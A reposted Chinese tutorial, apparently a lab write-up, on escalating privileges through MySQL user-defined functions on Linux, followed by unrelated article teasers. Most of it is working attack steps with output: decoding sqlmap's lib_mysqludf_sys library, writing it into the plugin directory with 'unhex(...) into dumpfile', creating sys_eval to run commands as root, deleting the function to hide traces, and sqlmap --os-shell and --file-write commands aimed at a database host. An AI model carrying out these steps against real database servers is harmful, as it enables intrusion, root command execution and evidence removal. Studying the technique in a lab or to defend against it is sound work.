linux环境下的MySQL UDF提权

linux环境下的MySQL UDF提权

##1. 背景介绍

###UDF

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll.so,常用c语言编写。拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

###利用前提

  • mysql允许导入导出文件
  • 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。
  • 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。

实验环境

手工启动mysql,指定root启动:mysqld_safe --user=root。默认是mysql用户启动。

##2. 未GetShell的情况

适用情况:目标主机开启MySQL远程连接,并且已经获得MySQL数据库连接的用户名和密码信息

###2.1 手工提权

判断前提条件
  1. 查看是否允许导入导出文件

    mysql> show variables like "%secure_file_priv%";
    +------------------+-------+
    | Variable_name    | Value |
    +------------------+-------+
    | secure_file_priv |       |
    +------------------+-------+
    1 row in set (0.01 sec)
    

    这个参数(https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv)在MySQL数据库的安装目录的 my.ini 文件中配置,也可以作为启动参数。

    secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

  2. 查看是否高权限

    mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ;
    
  3. 查看plugin的值

    mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
    +-----------+------+-----------------------+
    | host      | user | plugin                |
    +-----------+------+-----------------------+
    | localhost | root | mysql_native_password |
    +-----------+------+-----------------------+
    1 row in set (0.02 sec)
    

    plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。

上传udf库文件
  1. 获取plugin路径
mysql> show variables like "%plugin%";
+-------------------------------+--------------------------------------------+
| Variable_name                 | Value                                      |
+-------------------------------+--------------------------------------------+
| default_authentication_plugin | mysql_native_password                      |
| plugin_dir                    | /usr/local/Cellar/mysql/5.7.22/lib/plugin/ |
+-------------------------------+--------------------------------------------+
2 rows in set (0.02 sec)
  1. 获取服务器版本信息
mysql> show variables like 'version_compile_%';
+-------------------------+----------+
| Variable_name           | Value    |
+-------------------------+----------+
| version_compile_machine | x86_64   |
| version_compile_os      | osx10.13 |
+-------------------------+----------+
2 rows in set (0.01 sec)
  1. 准备udf库文件

需要选择对应的版本,否则会报错。

  • 从sqlmap获取

    sqlmap中有现成的udf文件。分别是32位和64位的。这里选择sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

    不过这里的so是异或过的,需要执行以下命令解密:

    cd sqlmap/extra/cloak
    
    python3 cloak.py -d -i /security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
    

    此时会在相同目录生成解密后的lib_mysqludf_sys.so。

  • 从metasploit中获取

    在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。

    这个库和sqlmap解密后的一模一样。

  • 自行编译

​ 下载lib_mysqludf_sys

  1. 上传udf库文件

    1. 获取库文件的16进制

      ```
      

    这里的mysql交互命令行是本地的,随意开一个就行

    mysql> select hex(load_file(‘/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so’)) into outfile ‘/tmp/udf.txt’;
    Query OK, 1 row affected (0.03 sec)
    ```

    1. 上传库文件
    # 这里的mysql交互命令行是目标数据库,7F454C46020打头的参数即/tmp/udf.txt的内容(注意去掉最后的换行)
    mysql> select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';
    Query OK, 1 row affected (0.04 sec)
    

    上传库文件也可以通过临时表中转的方式,此处略。

创建函数
  1. 先在本地查看有哪些函数可用
nm -D lib_mysqludf_sys.so
                 w _Jv_RegisterClasses
0000000000201788 A __bss_start
                 w __cxa_finalize
                 w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
                 U fgets
                 U fork
                 U free
                 U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
                 U malloc
                 U mmap
                 U pclose
                 U popen
                 U realloc
                 U setenv
                 U strcpy
                 U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
                 U sysconf
                 U system
                 U waitpid


  1. 创建sys_eval函数
mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.03 sec)
mysql>
  1. 函数操作
# 调用函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.03 sec)

# 查看函数
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set

# 删除函数(清除痕迹),如果要删除函数,必须udf文件还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';

2.2 利用sqlmap

####全自动化

sqlmap.py -d "mysql://root:root@172.20.10.9:3306/mysql" --os-shell

...
[11:53:40] [INFO] connection to MySQL server '172.20.10.9:3306' established
[11:53:40] [INFO] testing MySQL
[11:53:40] [INFO] confirming MySQL
[11:53:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[11:53:40] [INFO] fingerprinting the back-end DBMS operating system
[11:53:40] [INFO] the back-end DBMS operating system is Linux
[11:53:40] [INFO] testing if current user is DBA
[11:53:40] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[11:53:45] [INFO] checking if UDF 'sys_exec' already exist
[11:53:45] [INFO] checking if UDF 'sys_eval' already exist
[11:53:50] [INFO] detecting back-end DBMS version from its banner
[11:53:50] [INFO] the local file '/var/folders/bx/zb9__nb1591g_r8k78p5p0gr0000gn/T/sqlmap_5_qd1_y51533/lib_mysqludf_sysp478pm69.so' and the remote file './libsoxbd.so' have the same size (8040 B)
[11:53:50] [INFO] creating UDF 'sys_exec' from the binary UDF file
[11:53:50] [INFO] creating UDF 'sys_eval' from the binary UDF file
[11:53:50] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[11:53:50] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]

No output
os-shell>

没有得到执行结果,查看func表也没有udf记录,未找到原因。

####半自动化

  1. 获取plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell
            ___
           __H__
     ___ ___[']_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [']     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 13:21:33 /2020-02-10/
    
    [13:21:34] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:21:34] [INFO] testing MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] confirming MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:21:34] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> select @@plugin_dir;
    [13:22:06] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'
    select @@plugin_dir [1]:
    [*] /usr/lib/x86_64-linux-gnu/mariadb18/plugin/
    
    sql-shell>
    

    得到plugin目录为/usr/lib/x86_64-linux-gnu/mariadb18/plugin/

  2. 上传lib_mysqludf_sys到plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --file-write=/Users/simon/Downloads/lib_mysqludf_sys_64.so --file-dest=/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so
            ___
           __H__
     ___ ___[.]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . ["]     | .'| . |
    |___|_  [(]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 13:28:35 /2020-02-10/
    
    [13:28:36] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:28:36] [INFO] testing MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] confirming MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:28:36] [INFO] fingerprinting the back-end DBMS operating system
    [13:28:36] [INFO] resumed: [['0']]...
    [13:28:36] [INFO] the back-end DBMS operating system is Linux
    do you want confirmation that the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so')? [Y/n]
    
    [13:28:42] [INFO] the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' and the remote file '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)
    [13:28:42] [INFO] connection to MySQL server '172.20.10.9:3306' closed
    
    [*] ending @ 13:28:42 /2020-02-10/
    
  3. 创建&执行函数

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell
            ___
           __H__
     ___ ___[,]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [)]     | .'| . |
    |___|_  [)]_|_|_|__,|  _|
          |_|V...       |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting @ 13:32:23 /2020-02-10/
    
    [13:32:23] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:32:23] [INFO] testing MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] confirming MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:32:23] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'
    [13:34:56] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''
    create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'
    sql-shell> select sys_eval('whoami');
    [13:35:59] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'
    select sys_eval('whoami') [1]:
    [*] root
    
    sql-shell>
    

    sqlmap中的udf文件提供的函数:

    sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

2.3 利用HackMySQL

以前叫Python_FuckMySQL,仅适用于目标系统为windows,故略。

https://github.com/T3st0r-Git/HackMySQL

https://github.com/v5est0r/Python_FuckMySQL

##3. GetShell的情况

适用情况:已经通过一句话木马等GetShell,并且得到了数据库用户名、密码。

###上传含udf提权功能的大马提权

手上的提权木马都是针对windows的,且都是php5。而实验环境是Kali+php7,故未实操。

文章可参考以下:

https://mp.weixin.qq.com/s/URPJPbmRixfWPKFDaX1qFA

http://zone.secevery.com/article/1096

###反弹shell

思路:通过getshell反弹shell后,在反弹回来的shell中连接mysql,然后进行手工提权。

结果:失败,在反弹回来的shell中无法成功连接mysql。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/573950.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

面试十五 容器

一、vector容器 template<typename T> class Allocator{ public:T* allocator(size_t size){// 负责内存开辟return (T*)malloc(sizeof(T) * size);}void deallocate(void * p){free(p);}void construct(T*p,const T&val){// 定位newnew (p) T(val);}void destroy(…

Golang对接Ldap(保姆级教程:概念搭建实战)

Golang对接Ldap&#xff08;保姆级教程&#xff1a;概念&搭建&实战&#xff09; 最近项目需要对接客户的LDAP服务&#xff0c;于是趁机好好了解了一下。LDAP实际是一个协议&#xff0c;对应的实现&#xff0c;大家可以理解为一个轻量级数据库。用户查询。比如&#xff…

DiT论文精读Scalable Diffusion Models with Transformers CVPR2023

Scalable Diffusion Models with Transformers CVPR2023 Abstract idea 将UNet架构用Transformer代替。并且分析其可扩展性。 并且实验证明通过增加transformer的宽度和深度&#xff0c;有效降低FID 我们最大的DiT-XL/2模型在classconditional ImageNet 512、512和256、256基…

switch语句深讲

一。功能 1.选择&#xff0c;由case N:完成 2.switch语句本身没有分支功能&#xff0c;分支功能由break完成 二。注意 1.switch语句如果不加break&#xff0c;在一次判断成功后会执行下面全部语句并跳过判断 2.switch的参数必须是整形或者是计算结果为整形的表达式,浮点数会…

centos 7 yum install -y nagios

centos 7 systemctl disable firewalld --now vi /etc/selinux/config SELINUXdisabled yum install -y epel-release httpd nagios yum install -y httpd nagios systemctl enable httpd --now systemctl enable nagios --now 浏览器 IP/nagios 用户名&#xff1a;…

stack,queue的模拟实现以及优先级队列

这篇博客用来记录stack&#xff0c;queue的学习。 stack的模拟实现 stack的模拟实现比较简单&#xff0c;先上代码 #pragma once #include<vector> #include<list> #include<deque> #include<iostream> using std::deque; using namespace std;name…

【STM32HAL库】外部中断

目录 一、中断简介 二、NVIC 1.寄存器 2.工作原理 3.优先级 4.使用NVIC 三、EXTI 1.简介 2.AFIO&#xff1a;复用功能IO&#xff0c;主要用于重映射和外部中断映射配置​编辑 3. 中断使用 4.HAL库配置使用 一、中断简介 中断的意义&#xff1a;高效处理紧急程序&#xff0c;不会…

树莓派学习笔记--串口通信(配置硬件串口进行通信)

树莓派串口知识点 树莓派4b的外设一共包含两个串口&#xff1a;硬件串口&#xff08;/dev/ttyAMA0&#xff09;,mini串口&#xff08;/dev/ttyS0&#xff09; 硬件串口由硬件实现&#xff0c;有单独的波特率时钟源&#xff0c;性能高&#xff0c;可靠&#xff1b;而mini串口性能…

Java-AQS的原理

文章目录 基本概述1. 设计思想2. 基本实现 一些关键词语以及常用术语&#xff0c;主要如下&#xff1a; 信号量(Semaphore): 是在多线程环境下使用的一种设施&#xff0c;是可以用来保证两个或多个关键代码段不被并发调用&#xff0c;也是作系统用来解决并发中的互斥和同步问题…

数据挖掘 | Count数据去除批次效应后不是整数甚至还出现负值导致无法进行差异分析怎么办?

之前咱们介绍过数据挖掘 | 批次效应的鉴定与处理 | 附完整代码 注释 | 看完不会来揍我&#xff0c;但是很多小伙伴遇到了Count数据批次处理后不是整数甚至还出现负值的问题&#xff0c;这就导致无法使用某些包包进行差异分析&#xff08;对差异分析感兴趣的小伙伴可以查看&…

MySQL中如何随机获取一条记录

点击上方蓝字关注我 随机获取一条记录是在数据库查询中常见的需求&#xff0c;特别在需要展示随机内容或者随机推荐的场景下。在 MySQL 中&#xff0c;有多种方法可以实现随机获取一条记录&#xff0c;每种方法都有其适用的情况和性能特点。在本文中&#xff0c;我们将探讨几种…

word添加行号

打开页面设置&#xff0c;找到行号

2018-2023年上市公司富时罗素ESG评分数据

2018-2023年上市公司富时罗素ESG评分数据 1、时间&#xff1a;2018-2023年 2、来源&#xff1a;整理自WIND 3、指标&#xff1a;证券代码、简称、ESG评分 4、范围&#xff1a;上市公司 5、指标解释&#xff1a; 富时罗素将公司绿色收入的界定和计算作为公司ESG 评级打分结…

「白嫖」开源的后果就是供应链攻击么?| 编码人声

「编码人声」是由「RTE开发者社区」策划的一档播客节目&#xff0c;关注行业发展变革、开发者职涯发展、技术突破以及创业创新&#xff0c;由开发者来分享开发者眼中的工作与生活。 面对网络安全威胁日益严重的今天&#xff0c;软件供应链安全已经成为开发者领域无法避免的焦点…

OpenWRT设置自动获取IP,作为二级路由器

前言 上一期咱们讲了在OpenWRT设置PPPoE拨号的教程&#xff0c;在光猫桥接的模式下&#xff0c;OpenWRT如果不设置PPPoE拨号&#xff0c;就无法正常上网。 OpenWRT设置PPPoE拨号教程 但现在很多新装的宽带&#xff0c;宽带师傅为了方便都会把光猫设置为路由模式。如果你再外…

【A-024】基于SSH的房屋租赁管理系统(含论文)

【A-024】基于SSH的房屋租赁管理系统&#xff08;含论文&#xff09; 开发环境&#xff1a; Jdk7(8)Tomcat7(8)MySQLIntelliJ IDEA(Eclipse) 数据库&#xff1a; MySQL 技术&#xff1a; SpringStruts2HiberanteBootstrapJquery 适用于&#xff1a; 课程设计&#xff0c;毕…

半波整流220V转正5V负-5V100mA恒压WT5101A

半波整流220V转正5V负-5V100mA恒压WT5101A WT5101A 是一款专为 Buck 和 Buck-Boost 拓扑而设计的高效、具有成本优势的离线恒压稳压器&#xff0c;内嵌有500V MOSFET。在降低系统成本的同时&#xff0c;这款稳压器只需少量的外部元件就能输出默认的5V电压。在轻负载条件下&…

Sping源码(七)—context: component-scan标签如何扫描、加载Bean

序言 简单回顾一下。上一篇文章介绍了从xml文件context component-scan标签的加载流程到ConfigurationClassPostProcessor的创建流程。 本篇会深入了解context component-scan标签底层做了些什么。 component-scan 早期使用Spring进行开发时&#xff0c;很多时候都是注解 标…

智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法

智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法 目录 智能算法 | Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法效果一览基本介绍程序设计参考资料效果一览 基本介绍 Matlab基于CBES融合自适应惯性权重和柯西变异的秃鹰搜索算法 融合自适应…

ds18b20温度传感器驱动程序

ds18b20驱动程序 有了之前延时的方法&#xff0c;那么实现一个单总线数据传输的传感器驱动程序就非常简单了。下面我们套用杂项驱动框架来编写ds18b20驱动程序。 实现需要明确的是&#xff1a;**ds18b20驱动的本质是通过2440的gpio&#xff0c;通过给定的时序对ds18b20的读写数…